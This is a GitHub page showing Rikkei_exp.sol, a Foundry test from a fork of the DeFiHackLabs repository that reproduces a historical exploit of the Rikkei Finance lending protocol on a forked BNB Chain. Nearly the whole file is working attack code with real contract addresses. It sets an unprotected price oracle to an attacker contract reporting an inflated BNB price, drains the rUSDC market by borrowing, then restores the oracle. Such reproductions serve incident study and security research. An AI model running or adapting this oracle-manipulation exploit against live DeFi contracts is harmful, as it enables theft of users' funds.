forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Rikkei_exp.sol
71 lines (65 loc) · 2.2 KB
/
Rikkei_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);
IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);
ICointroller cointroller =
ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);
ISimplePriceOracle simplePriceOracle =
ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);
IPriceFeed chainlinkBNBUSDPriceFeed =
IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 16956474); //fork bsc at block 16956474
}
function testExploit() public {
emit log_named_uint(
"Before exploit, USDC balance of attacker:",
usdc.balanceOf(address(this))
);
rbnb.approve(address(cointroller), type(uint256).max);
address[] memory rTokens = new address[](1);
rTokens[0] = address(rbnb);
cointroller.enterMarkets(rTokens);
rbnb.mint{ value: 100000000000000 }();
simplePriceOracle.setOracleData(address(rbnb), address(this));
rusdc.borrow(rusdc.getCash());
rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));
simplePriceOracle.setOracleData(
address(rbnb),
address(chainlinkBNBUSDPriceFeed)
);
emit log_named_uint(
"After exploit, USDC balance of attacker:",
usdc.balanceOf(address(this))
);
}
function decimals() external view returns (uint8) {
return chainlinkBNBUSDPriceFeed.decimals();
}
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
(
roundId,
answer,
startedAt,
updatedAt,
answeredInRound
) = chainlinkBNBUSDPriceFeed.latestRoundData();
answer = answer * 1e10;
}
}